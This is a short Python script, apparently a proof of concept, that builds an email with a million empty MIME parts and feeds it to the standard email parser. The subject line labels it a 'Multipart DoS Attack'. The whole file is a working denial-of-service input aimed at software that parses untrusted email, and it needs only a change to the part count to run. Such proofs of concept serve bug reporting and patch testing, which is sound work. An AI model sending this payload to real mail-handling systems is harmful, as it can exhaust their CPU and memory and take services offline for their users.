import email

# This constant controls the number of multiparts in the email message.
# Large numbers result in a long parsing time.
NUMBER_OF_MULTIPARTS = 1000000

email_start = """\
From: sender@example.com
To: recipient@example.com
Subject: Mutlipart DoS Attack
MIME-Version: 1.0
Content-Type: multipart/mixed; boundary="n"

This is a multi-part message in MIME format.
"""
email_multipart = "--n\n\nb\n\n"
email_end = "--n--"

email_message = email_start + email_multipart * NUMBER_OF_MULTIPARTS + email_end
msg = email.message_from_string(email_message)